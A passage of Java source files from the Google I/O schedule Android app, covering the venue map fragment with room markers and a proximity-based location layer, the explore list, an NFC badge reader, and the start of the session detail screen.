public boolean onMarkerClick(Marker marker) { final String snippet = marker.getSnippet(); // get the room id String roomId = marker.getTitle(); if (TYPE_SESSION.equals(snippet)) { // ignore other markers - sandbox is just another session type EasyTracker.getTracker().sendEvent( "Map", "markerclick", roomId, 0L); final long time = UIUtils.getCurrentTime(getActivity()); Uri uri = ScheduleContract.Sessions.buildSessionsInRoomAfterUri(roomId, time); final String order = ScheduleContract.Sessions.BLOCK_START + " ASC"; mQueryHandler.startQuery(SessionAfterQuery._TOKEN, roomId, uri, SessionAfterQuery.PROJECTION, null, null, order); } else if (TYPE_SANDBOX.equals(snippet)) { // get the room id EasyTracker.getTracker().sendEvent( "Map", "markerclick", roomId, 0L); final long time = UIUtils.getCurrentTime(getActivity()); String selection = ScheduleContract.Sandbox.AT_TIME_IN_ROOM_SELECTION; Uri uri = ScheduleContract.Sandbox.CONTENT_URI; String[] selectionArgs = ScheduleContract.Sandbox.buildAtTimeInRoomSelectionArgs(time, roomId); final String order = ScheduleContract.Sandbox.COMPANY_NAME + " ASC"; mQueryHandler.startQuery(SandboxCompaniesAtQuery._TOKEN, roomId, uri, SandboxCompaniesAtQuery.PROJECTION, selection, selectionArgs, order); } // ignore other markers //centerMap(marker.getPosition()); return true; } private void centerMap(LatLng position) { // calculate the new center of the map, taking into account optional // padding Projection proj = mMap.getProjection(); Point p = proj.toScreenLocation(position); // apply padding p.x = (int) (p.x - Math.round(mWidth * 0.5)) + mShiftRight; p.y = (int) (p.y - Math.round(mHeight * 0.5)) + mShiftTop; mMap.animateCamera(CameraUpdateFactory.scrollBy(p.x, p.y)); } /** * Set the padding around centered markers. Specified in the percentage of * the screen space of the map. */ public void setCenterPadding(float xFraction, float yFraction) { int oldShiftRight = mShiftRight; int oldShiftTop = mShiftTop; mShiftRight = Math.round(xFraction * mWidth); mShiftTop = Math.round(yFraction * mWidth); // re-center the map, shift displayed map by x and y fraction if map is // ready if (mMap != null) { mMap.animateCamera(CameraUpdateFactory.scrollBy(mShiftRight - oldShiftRight, mShiftTop - oldShiftTop)); } } private void highlightRoom(String roomId) { MarkerModel m = mMarkers.get(roomId); if (m != null) { showFloor(m.floor); // explicitly show the marker before info window is shown. m.marker.setVisible(true); onMarkerClick(m.marker); centerMap(m.marker.getPosition()); } } /** * Create an {@link AsyncQueryHandler} for use with the * {@link MapInfoWindowAdapter}. */ private AsyncQueryHandler createInfowindowHandler(ContentResolver contentResolver) { return new AsyncQueryHandler(contentResolver) { StringBuilder mBuffer = new StringBuilder(); Formatter mFormatter = new Formatter(mBuffer, Locale.getDefault()); @Override protected void onQueryComplete(int token, Object cookie, Cursor cursor) { MarkerModel model = mMarkers.get(cookie); mInfoAdapter.clearData(); if (model == null || cursor == null) { // query did not complete or incorrect data was loaded return; } final long time = UIUtils.getCurrentTime(getActivity()); switch (token) { case SessionAfterQuery._TOKEN: { extractSession(cursor, model, time); } break; case SandboxCompaniesAtQuery._TOKEN: { extractSandbox(cursor, model, time); } } // update the displayed window model.marker.showInfoWindow(); } private void extractSandbox(Cursor cursor, MarkerModel model, long time) { // get tracks data from cache: icon and color TrackModel track = mTracks.get(model.track); int color = (track != null) ? track.color : 0 ; int iconResId = 0; if(track != null){ iconResId = getResources().getIdentifier( "track_" + ParserUtils.sanitizeId(track.name), "drawable", getActivity().getPackageName()); } if (cursor != null && cursor.getCount() > 0) { cursor.moveToFirst(); StringBuilder sb = new StringBuilder(); int count = 0; final int maxCompaniesDisplay = getResources().getInteger( R.integer.sandbox_company_list_max_display); while (!cursor.isAfterLast() && count < maxCompaniesDisplay) { if (sb.length() > 0) { sb.append(", "); } sb.append(cursor.getString(SandboxCompaniesAtQuery.COMPANY_NAME)); count++; cursor.moveToNext(); } if (count >= maxCompaniesDisplay && !cursor.isAfterLast()) { // Additional sandbox companies to display sb.append(", &hellip;"); } mInfoAdapter.setSandbox(model.marker, model.label, color, iconResId, sb.length() > 0 ? sb.toString() : null); }else{ // No active sandbox companies mInfoAdapter.setSandbox(model.marker, model.label, color, iconResId, null); } model.marker.showInfoWindow(); } private static final long SHOW_UPCOMING_TIME = 24 * 60 * 60 * 1000; // 24 hours private void extractSession(Cursor cursor, MarkerModel model, long time) { if (cursor != null && cursor.getCount() > 0) { cursor.moveToFirst(); String currentTitle = null; String nextTitle = null; String nextTime = null; final long blockStart = cursor.getLong(SessionAfterQuery.BLOCK_START); final long blockEnd = cursor.getLong(SessionAfterQuery.BLOCK_END); boolean inProgress = time >= blockStart && time <= blockEnd; if (inProgress) { // A session is running, display its name and optionally // the next session currentTitle = cursor.getString(SessionAfterQuery.SESSION_TITLE); //move to the next entry cursor.moveToNext(); } if (!cursor.isAfterLast()) { //There is a session coming up next, display only it if it's within 24 hours of the current time final long nextStart = cursor.getLong(SessionAfterQuery.BLOCK_START); if (nextStart < time + SHOW_UPCOMING_TIME ) { nextTitle = cursor.getString(SessionAfterQuery.SESSION_TITLE); mBuffer.setLength(0); boolean showWeekday = !DateUtils.isToday(blockStart) && !UIUtils.isSameDayDisplay(UIUtils.getCurrentTime(getActivity()), blockStart, getActivity()); nextTime = DateUtils.formatDateRange(getActivity(), mFormatter, blockStart, blockStart, DateUtils.FORMAT_SHOW_TIME | (showWeekday ? DateUtils.FORMAT_SHOW_WEEKDAY | DateUtils.FORMAT_ABBREV_WEEKDAY : 0), PrefUtils.getDisplayTimeZone(getActivity()).getID()).toString(); } } // populate the info window adapter mInfoAdapter.setSessionData(model.marker, model.label, currentTitle, nextTitle, nextTime, inProgress); } else { // No entries, display name of room only mInfoAdapter.setMarker(model.marker, model.label); } } }; } // Loaders private void onMarkerLoaderComplete(Cursor cursor) { if (cursor != null && cursor.getCount() > 0) { cursor.moveToFirst(); while (!cursor.isAfterLast()) { // get data String id = cursor.getString(MarkerQuery.MARKER_ID); int floor = cursor.getInt(MarkerQuery.MARKER_FLOOR); float lat = cursor.getFloat(MarkerQuery.MARKER_LATITUDE); float lon = cursor.getFloat(MarkerQuery.MARKER_LONGITUDE); String type = cursor.getString(MarkerQuery.MARKER_TYPE); String label = cursor.getString(MarkerQuery.MARKER_LABEL); String track = cursor.getString(MarkerQuery.MARKER_TRACK); BitmapDescriptor icon = null; if (TYPE_SESSION.equals(type)) { icon = BitmapDescriptorFactory.fromResource(R.drawable.marker_session); } else if (TYPE_SANDBOX.equals(type)) { icon = BitmapDescriptorFactory.fromResource(R.drawable.marker_sandbox); } else if (TYPE_LABEL.equals(type)) { Bitmap b = MapUtils.createTextLabel(label, mDPI); if (b != null) { icon = BitmapDescriptorFactory.fromBitmap(b); } } // add marker to map if (icon != null) { Marker m = mMap.addMarker( new MarkerOptions().position(new LatLng(lat, lon)).title(id) .snippet(type).icon(icon) .visible(false)); MarkerModel model = new MarkerModel(id, floor, type, label, track, m); mMarkersFloor.get(floor).add(m); mMarkers.put(id, model); } cursor.moveToNext(); } // no more markers to load mMarkersLoaded = true; enableFloors(); } } private void onTracksLoaderComplete(Cursor cursor){ if(cursor != null){ mTracks = new HashMap<String, TrackModel>(); cursor.moveToFirst(); while(!cursor.isAfterLast()){ final String name = cursor.getString(TracksQuery.TRACK_NAME); final String id = cursor.getString(TracksQuery.TRACK_ID); final int color = cursor.getInt(TracksQuery.TRACK_COLOR); mTracks.put(id,new TrackModel(id,name,color)); cursor.moveToNext(); } mTracksLoaded = true; enableFloors(); } } private void onOverlayLoaderComplete(Cursor cursor) { if (cursor != null && cursor.getCount() > 0) { cursor.moveToFirst(); while (!cursor.isAfterLast()) { final int floor = cursor.getInt(OverlayQuery.TILE_FLOOR); final String file = cursor.getString(OverlayQuery.TILE_FILE); File f = MapUtils.getTileFile(getActivity().getApplicationContext(), file); if (f != null) { addTileProvider(floor, f); } cursor.moveToNext(); } } mOverlaysLoaded = true; enableFloors(); } private interface MarkerQuery { int _TOKEN = 0x1; String[] PROJECTION = { ScheduleContract.MapMarkers.MARKER_ID, ScheduleContract.MapMarkers.MARKER_FLOOR, ScheduleContract.MapMarkers.MARKER_LATITUDE, ScheduleContract.MapMarkers.MARKER_LONGITUDE, ScheduleContract.MapMarkers.MARKER_TYPE, ScheduleContract.MapMarkers.MARKER_LABEL, ScheduleContract.MapMarkers.MARKER_TRACK }; int MARKER_ID = 0; int MARKER_FLOOR = 1; int MARKER_LATITUDE = 2; int MARKER_LONGITUDE = 3; int MARKER_TYPE = 4; int MARKER_LABEL = 5; int MARKER_TRACK = 6; } private interface OverlayQuery { int _TOKEN = 0x3; String[] PROJECTION = { ScheduleContract.MapTiles.TILE_FLOOR, ScheduleContract.MapTiles.TILE_FILE }; int TILE_FLOOR = 0; int TILE_FILE = 1; } private interface SessionAfterQuery { int _TOKEN = 0x5; String[] PROJECTION = { ScheduleContract.Sessions.SESSION_TITLE, ScheduleContract.Sessions.BLOCK_START, ScheduleContract.Sessions.BLOCK_END, ScheduleContract.Rooms.ROOM_NAME }; int SESSION_TITLE = 0; int BLOCK_START = 1; int BLOCK_END = 2; int ROOM_NAME = 3; } private interface SandboxCompaniesAtQuery { int _TOKEN = 0x4; String[] PROJECTION = { ScheduleContract.Sandbox.COMPANY_NAME }; int COMPANY_NAME = 0; } private interface TracksQuery { int _TOKEN = 0x6; String[] PROJECTION = { ScheduleContract.Tracks.TRACK_ID, ScheduleContract.Tracks.TRACK_NAME, ScheduleContract.Tracks.TRACK_COLOR }; int TRACK_ID = 0; int TRACK_NAME = 1; int TRACK_COLOR = 2; } @Override public Loader<Cursor> onCreateLoader(int id, Bundle data) { switch (id) { case MarkerQuery._TOKEN: { Uri uri = ScheduleContract.MapMarkers.buildMarkerUri(); return new CursorLoader(getActivity(), uri, MarkerQuery.PROJECTION, null, null, null); } case OverlayQuery._TOKEN: { Uri uri = ScheduleContract.MapTiles.buildUri(); return new CursorLoader(getActivity(), uri, OverlayQuery.PROJECTION, null, null, null); } case TracksQuery._TOKEN: { Uri uri = ScheduleContract.Tracks.CONTENT_URI; return new CursorLoader(getActivity(), uri, TracksQuery.PROJECTION, null, null, null); } } return null; } @Override public void onLoaderReset(Loader<Cursor> arg0) { } @Override public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) { if (getActivity() == null) { return; } switch (loader.getId()) { case MarkerQuery._TOKEN: onMarkerLoaderComplete(cursor); break; case OverlayQuery._TOKEN: onOverlayLoaderComplete(cursor); break; case TracksQuery._TOKEN: onTracksLoaderComplete(cursor); break; } } @Override public void onDestroy() { super.onDestroy(); if (mMyLocationManager != null) { mMyLocationManager.onDestroy(); } } @Override public void onCameraChange(CameraPosition cameraPosition) { // ensure markers have been loaded and are being displayed if (mFloor < 0) { return; } mShowMarkers = cameraPosition.zoom >= 17; for (Marker m : mMarkersFloor.get(mFloor)) { m.setVisible(mShowMarkers); } } private final SharedPreferences.OnSharedPreferenceChangeListener mPrefChangeListener = new SharedPreferences.OnSharedPreferenceChangeListener() { @Override public void onSharedPreferenceChanged(SharedPreferences sp, String key) { if(!isAdded()){ return; } boolean enableMyLocation = MapUtils.getMyLocationEnabled(MapFragment.this.getActivity()); //enable or disable location manager if (enableMyLocation && mMyLocationManager == null) { // enable location manager mMyLocationManager = new MyLocationManager(); } else if (!enableMyLocation && mMyLocationManager != null) { // disable location manager mMyLocationManager.onDestroy(); mMyLocationManager = null; } } }; private final ContentObserver mObserver = new ContentObserver(new Handler()) { @Override public void onChange(boolean selfChange) { if (!isAdded()) { return; } //clear map reload all data clearMap(); setupMap(false); // reload data from loaders LoaderManager lm = getActivity().getSupportLoaderManager(); mMarkersLoaded = false; mOverlaysLoaded = false; mTracksLoaded = false; Loader<Cursor> loader = lm.getLoader(MarkerQuery._TOKEN); if (loader != null) { loader.forceLoad(); } loader = lm.getLoader(OverlayQuery._TOKEN); if (loader != null) { loader.forceLoad(); } loader = lm.getLoader(TracksQuery._TOKEN); if (loader != null) { loader.forceLoad(); } } }; /** * Manages the display of the "My Location" layer. Ensures that the layer is * only visible when the user is within 200m of Moscone Center. */ private class MyLocationManager extends BroadcastReceiver { private static final String ACTION_PROXIMITY_ALERT = "com.google.android.apps.iosched.action.PROXIMITY_ALERT"; private static final float DISTANCE = 200; // 200 metres. private final IntentFilter mIntentFilter = new IntentFilter(ACTION_PROXIMITY_ALERT); private final LocationManager mLocationManager; public MyLocationManager() { mLocationManager = (LocationManager) getActivity().getSystemService( Context.LOCATION_SERVICE); Intent i = new Intent(); i.setAction(ACTION_PROXIMITY_ALERT); PendingIntent pendingIntent = PendingIntent.getBroadcast(getActivity() .getApplicationContext(), 0, i, 0); mLocationManager.addProximityAlert(MOSCONE.latitude, MOSCONE.longitude, DISTANCE, -1, pendingIntent); getActivity().registerReceiver(this, mIntentFilter); // The proximity alert is only fired if the user moves in/out of // range. Look at the current location to see if it is within range. checkCurrentLocation(); } @Override public void onReceive(Context context, Intent intent) { boolean inMoscone = intent.getBooleanExtra(LocationManager.KEY_PROXIMITY_ENTERING, false); mMap.setMyLocationEnabled(inMoscone); } public void checkCurrentLocation() { Criteria criteria = new Criteria(); String provider = mLocationManager.getBestProvider(criteria, false); Location lastKnownLocation = mLocationManager.getLastKnownLocation(provider); if (lastKnownLocation == null) { return; } Location moscone = new Location(lastKnownLocation.getProvider()); moscone.setLatitude(MOSCONE.latitude); moscone.setLongitude(MOSCONE.longitude); moscone.setAccuracy(1); if (moscone.distanceTo(lastKnownLocation) < DISTANCE) { mMap.setMyLocationEnabled(true); } } public void onDestroy() { getActivity().unregisterReceiver(this); } } /** * A structure to store information about a Marker. */ public static class MarkerModel { String id; int floor; String type; String label; String track = null; Marker marker; public MarkerModel(String id, int floor, String type, String label, String track, Marker marker) { this.id = id; this.floor = floor; this.type = type; this.label = label; this.marker = marker; this.track = track; } } public static class TrackModel { String id; String name; int color; public TrackModel(String id, String name, int color) { this.id = id; this.name = name; this.color = color; } } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/MapFragment.java
Java
asf20
37,113
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import com.google.android.apps.iosched.R; import android.content.Intent; import android.os.Bundle; import android.support.v4.app.Fragment; /** * A {@link BaseActivity} that simply contains a single fragment. The intent used to invoke this * activity is forwarded to the fragment as arguments during fragment instantiation. Derived * activities should only need to implement {@link SimpleSinglePaneActivity#onCreatePane()}. */ public abstract class SimpleSinglePaneActivity extends BaseActivity { private Fragment mFragment; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(getContentViewResId()); if (getIntent().hasExtra(Intent.EXTRA_TITLE)) { setTitle(getIntent().getStringExtra(Intent.EXTRA_TITLE)); } final String customTitle = getIntent().getStringExtra(Intent.EXTRA_TITLE); setTitle(customTitle != null ? customTitle : getTitle()); if (savedInstanceState == null) { mFragment = onCreatePane(); mFragment.setArguments(intentToFragmentArguments(getIntent())); getSupportFragmentManager().beginTransaction() .add(R.id.root_container, mFragment, "single_pane") .commit(); } else { mFragment = getSupportFragmentManager().findFragmentByTag("single_pane"); } } protected int getContentViewResId() { return R.layout.activity_singlepane_empty; } /** * Called in <code>onCreate</code> when the fragment constituting this activity is needed. * The returned fragment's arguments will be set to the intent used to invoke this activity. */ protected abstract Fragment onCreatePane(); public Fragment getFragment() { return mFragment; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SimpleSinglePaneActivity.java
Java
asf20
2,494
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.database.ContentObserver; import android.database.Cursor; import android.database.DataSetObserver; import android.graphics.Color; import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.support.v4.app.ListFragment; import android.support.v4.app.LoaderManager; import android.support.v4.content.CursorLoader; import android.support.v4.content.Loader; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ListView; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.ui.TracksAdapter.TracksQuery; import com.google.android.apps.iosched.ui.tablet.SessionsSandboxMultiPaneActivity; import com.google.android.apps.iosched.ui.tablet.TracksDropdownFragment; import com.google.android.apps.iosched.util.UIUtils; /** * A simple {@link ListFragment} that renders a list of tracks with available * sessions or sandbox companies (depending on {@link ExploreFragment#VIEW_TYPE}) using a * {@link TracksAdapter}. */ public class ExploreFragment extends ListFragment implements LoaderManager.LoaderCallbacks<Cursor> { private TracksAdapter mAdapter; private View mEmptyView; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { ViewGroup rootView = (ViewGroup) inflater.inflate( R.layout.fragment_list_with_empty_container_inset, container, false); mEmptyView = rootView.findViewById(android.R.id.empty); inflater.inflate(R.layout.empty_waiting_for_sync, (ViewGroup) mEmptyView, true); return rootView; } @Override public void onViewCreated(final View view, Bundle savedInstanceState) { super.onViewCreated(view, savedInstanceState); view.setBackgroundColor(Color.WHITE); final ListView listView = getListView(); listView.setSelector(android.R.color.transparent); listView.setCacheColorHint(Color.WHITE); addMapHeaderView(); mAdapter = new TracksAdapter(getActivity(), false); setListAdapter(mAdapter); // Override default ListView empty-view handling listView.setEmptyView(null); mEmptyView.setVisibility(View.VISIBLE); mAdapter.registerDataSetObserver(new DataSetObserver() { @Override public void onChanged() { if (mAdapter.getCount() > 0) { mEmptyView.setVisibility(View.GONE); mAdapter.unregisterDataSetObserver(this); } } }); } private void addMapHeaderView() { ListView listView = getListView(); final Context context = listView.getContext(); View mapHeaderContainerView = LayoutInflater.from(context).inflate( R.layout.list_item_track_map, listView, false); View mapButton = mapHeaderContainerView.findViewById(R.id.map_button); mapButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { // Launch map of conference venue EasyTracker.getTracker().sendEvent( "Explore Tab", "Click", "Map", 0L); startActivity(new Intent(context, UIUtils.getMapActivityClass(getActivity()))); } }); listView.addHeaderView(mapHeaderContainerView); listView.setHeaderDividersEnabled(false); } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); // As of support library r12, calling initLoader for a fragment in a FragmentPagerAdapter // in the fragment's onCreate may cause the same LoaderManager to be dealt to multiple // fragments because their mIndex is -1 (haven't been added to the activity yet). Thus, // we do this in onActivityCreated. getLoaderManager().initLoader(TracksQuery._TOKEN, null, this); } private final ContentObserver mObserver = new ContentObserver(new Handler()) { @Override public void onChange(boolean selfChange) { if (getActivity() == null) { return; } getLoaderManager().restartLoader(TracksQuery._TOKEN, null, ExploreFragment.this); } }; @Override public void onAttach(Activity activity) { super.onAttach(activity); activity.getContentResolver().registerContentObserver( ScheduleContract.Sessions.CONTENT_URI, true, mObserver); } @Override public void onDetach() { super.onDetach(); getActivity().getContentResolver().unregisterContentObserver(mObserver); } /** {@inheritDoc} */ @Override public void onListItemClick(ListView l, View v, int position, long id) { final Cursor cursor = (Cursor) mAdapter.getItem(position - 1); // - 1 to account for header String trackId = ScheduleContract.Tracks.ALL_TRACK_ID; int trackMeta = ScheduleContract.Tracks.TRACK_META_NONE; if (cursor != null) { trackId = cursor.getString(TracksAdapter.TracksQuery.TRACK_ID); trackMeta = cursor.getInt(TracksAdapter.TracksQuery.TRACK_META); } final Intent intent = new Intent(Intent.ACTION_VIEW); final Uri trackUri = ScheduleContract.Tracks.buildTrackUri(trackId); intent.setData(trackUri); if (trackMeta == ScheduleContract.Tracks.TRACK_META_SANDBOX_OFFICE_HOURS_ONLY) { intent.putExtra(SessionsSandboxMultiPaneActivity.EXTRA_DEFAULT_VIEW_TYPE, TracksDropdownFragment.VIEW_TYPE_SANDBOX); } else if (trackMeta == ScheduleContract.Tracks.TRACK_META_OFFICE_HOURS_ONLY) { intent.putExtra(SessionsSandboxMultiPaneActivity.EXTRA_DEFAULT_VIEW_TYPE, TracksDropdownFragment.VIEW_TYPE_OFFICE_HOURS); } startActivity(intent); } @Override public Loader<Cursor> onCreateLoader(int id, Bundle data) { Intent intent = BaseActivity.fragmentArgumentsToIntent(getArguments()); Uri tracksUri = intent.getData(); if (tracksUri == null) { tracksUri = ScheduleContract.Tracks.CONTENT_URI; } // Filter our tracks query to only include those with valid results String[] projection = TracksAdapter.TracksQuery.PROJECTION; String selection = null; return new CursorLoader(getActivity(), tracksUri, projection, selection, null, ScheduleContract.Tracks.DEFAULT_SORT); } @Override public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) { if (getActivity() == null) { return; } mAdapter.setHasAllItem(true); mAdapter.swapCursor(cursor); if (cursor.getCount() > 0) { mEmptyView.setVisibility(View.GONE); } } @Override public void onLoaderReset(Loader<Cursor> loader) { } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/ExploreFragment.java
Java
asf20
7,975
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.app.Activity; import android.content.Intent; import android.net.Uri; import android.nfc.NdefMessage; import android.nfc.NdefRecord; import android.nfc.NfcAdapter; import android.nfc.Tag; import android.nfc.tech.Ndef; import android.os.Bundle; import com.google.analytics.tracking.android.EasyTracker; import java.util.Arrays; import static com.google.android.apps.iosched.util.LogUtils.LOGI; import static com.google.android.apps.iosched.util.LogUtils.makeLogTag; public class NfcBadgeActivity extends Activity { private static final String TAG = makeLogTag(NfcBadgeActivity.class); private static final String ATTENDEE_URL_PREFIX = "\u0004plus.google.com/"; @Override public void onStart() { super.onStart(); EasyTracker.getInstance().activityStart(this); // Check for NFC data Intent i = getIntent(); if (NfcAdapter.ACTION_NDEF_DISCOVERED.equals(i.getAction())) { LOGI(TAG, "Badge detected"); EasyTracker.getTracker().sendEvent("NFC", "Read", "Badge", null); readTag((Tag) i.getParcelableExtra(NfcAdapter.EXTRA_TAG)); } finish(); } @Override public void onStop() { super.onStop(); EasyTracker.getInstance().activityStop(this); } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); EasyTracker.getInstance().setContext(this); } private void readTag(Tag t) { byte[] id = t.getId(); // get NDEF tag details Ndef ndefTag = Ndef.get(t); // get NDEF message details NdefMessage ndefMesg = ndefTag.getCachedNdefMessage(); if (ndefMesg == null) { return; } NdefRecord[] ndefRecords = ndefMesg.getRecords(); if (ndefRecords == null) { return; } for (NdefRecord record : ndefRecords) { short tnf = record.getTnf(); String type = new String(record.getType()); if (tnf == NdefRecord.TNF_WELL_KNOWN && Arrays.equals(type.getBytes(), NdefRecord.RTD_URI)) { String url = new String(record.getPayload()); if (url.startsWith(ATTENDEE_URL_PREFIX)) { Intent i = new Intent(Intent.ACTION_VIEW); i.setData(Uri.parse("https://" + url.substring(1))); startActivity(i); return; } } } } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/NfcBadgeActivity.java
Java
asf20
3,148
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import com.google.android.apps.iosched.R; import android.content.Intent; import android.os.Bundle; import android.support.v4.app.Fragment; public class AnnouncementsActivity extends SimpleSinglePaneActivity { @Override protected Fragment onCreatePane() { setIntent(getIntent().putExtra(AnnouncementsFragment.EXTRA_ADD_VERTICAL_MARGINS, true)); return new AnnouncementsFragment(); } @Override protected int getContentViewResId() { return R.layout.activity_plus_stream; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/AnnouncementsActivity.java
Java
asf20
1,165
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.animation.Animator; import android.animation.AnimatorListenerAdapter; import android.animation.AnimatorSet; import android.animation.ObjectAnimator; import android.annotation.TargetApi; import android.content.ActivityNotFoundException; import android.content.Context; import android.content.Intent; import android.database.Cursor; import android.graphics.Rect; import android.graphics.RectF; import android.net.Uri; import android.os.Build; import android.os.Bundle; import android.os.Handler; import android.support.v4.app.Fragment; import android.support.v4.app.LoaderManager; import android.support.v4.content.CursorLoader; import android.support.v4.content.Loader; import android.text.TextUtils; import android.util.Pair; import android.view.*; import android.view.View.OnClickListener; import android.widget.FrameLayout; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.TextView; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.service.SessionAlarmService; import com.google.android.apps.iosched.ui.widget.ObservableScrollView; import com.google.android.apps.iosched.util.*; import com.google.android.gms.plus.PlusOneButton; import java.util.ArrayList; import java.util.List; import static com.google.android.apps.iosched.util.LogUtils.LOGD; import static com.google.android.apps.iosched.util.LogUtils.makeLogTag; /** * A fragment that shows detail information for a session, including session title, abstract, * time information, speaker photos and bios, etc. */ public class SessionDetailFragment extends Fragment implements LoaderManager.LoaderCallbacks<Cursor>, ObservableScrollView.Callbacks { private static final String TAG = makeLogTag(SessionDetailFragment.class); // Set this boolean extra to true to show a variable height header public static final String EXTRA_VARIABLE_HEIGHT_HEADER = "com.google.android.iosched.extra.VARIABLE_HEIGHT_HEADER"; private Handler mHandler = new Handler(); private String mSessionId; private Uri mSessionUri; private long mSessionBlockStart; private long mSessionBlockEnd; private String mTitleString; private String mHashtags; private String mUrl; private String mRoomId; private boolean mStarred; private boolean mInitStarred; private MenuItem mStarMenuItem; private MenuItem mSocialStreamMenuItem; private MenuItem mShareMenuItem; private ViewGroup mRootView; private TextView mTitle; private TextView mSubtitle; private PlusOneButton mPlusOneButton; private ObservableScrollView mScrollView; private CheckableLinearLayout mAddScheduleButton; private View mAddSchedulePlaceholderView; private TextView mAbstract; private TextView mRequirements; private boolean mSessionCursor = false; private boolean mSpeakersCursor = false; private boolean mHasSummaryContent = false; private boolean mVariableHeightHeader = false; private ImageLoader mImageLoader; private List<Runnable> mDeferredUiOperations = new ArrayList<Runnable>(); private StringBuilder mBuffer = new StringBuilder(); private Rect mBufferRect = new Rect(); @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); final Intent intent = BaseActivity.fragmentArgumentsToIntent(getArguments()); mSessionUri = intent.getData(); if (mSessionUri == null) { return; } mSessionId = ScheduleContract.Sessions.getSessionId(mSessionUri); mVariableHeightHeader = intent.getBooleanExtra(EXTRA_VARIABLE_HEIGHT_HEADER, false); LoaderManager manager = getLoaderManager(); manager.restartLoader(SessionsQuery._TOKEN, null, this); manager.restartLoader(SpeakersQuery._TOKEN, null, this); setHasOptionsMenu(true); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { mRootView = (ViewGroup) inflater.inflate(R.layout.fragment_session_detail, null); mTitle = (TextView) mRootView.findViewById(R.id.session_title); mSubtitle = (TextView) mRootView.findViewById(R.id.session_subtitle); // Larger target triggers plus one button mPlusOneButton = (PlusOneButton) mRootView.findViewById(R.id.plus_one_button); View headerView = mRootView.findViewById(R.id.header_session); FractionalTouchDelegate.setupDelegate(headerView, mPlusOneButton, new RectF(0.6f, 0f, 1f, 1.0f)); mAbstract = (TextView) mRootView.findViewById(R.id.session_abstract); mRequirements = (TextView) mRootView.findViewById(R.id.session_requirements); mAddScheduleButton = (CheckableLinearLayout) mRootView.findViewById(R.id.add_schedule_button); mAddScheduleButton.setOnClickListener(new OnClickListener() { @Override public void onClick(View view) { setSessionStarred(!mStarred, true); } }); mAddScheduleButton.setVisibility(View.GONE); if (mVariableHeightHeader) { ViewGroup.LayoutParams layoutParams = headerView.getLayoutParams(); layoutParams.height = ViewGroup.LayoutParams.WRAP_CONTENT; headerView.setLayoutParams(layoutParams); } setupCustomScrolling(mRootView); return mRootView; } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); if (getActivity() instanceof ImageLoader.ImageLoaderProvider) { mImageLoader = ((ImageLoader.ImageLoaderProvider) getActivity()).getImageLoaderInstance(); } } private void setupCustomScrolling(View rootView) { mAddSchedulePlaceholderView = rootView.findViewById( R.id.add_to_schedule_button_placeholder); if (mAddSchedulePlaceholderView == null) { mAddScheduleButton.setVisibility(View.VISIBLE); return; } mScrollView = (ObservableScrollView) 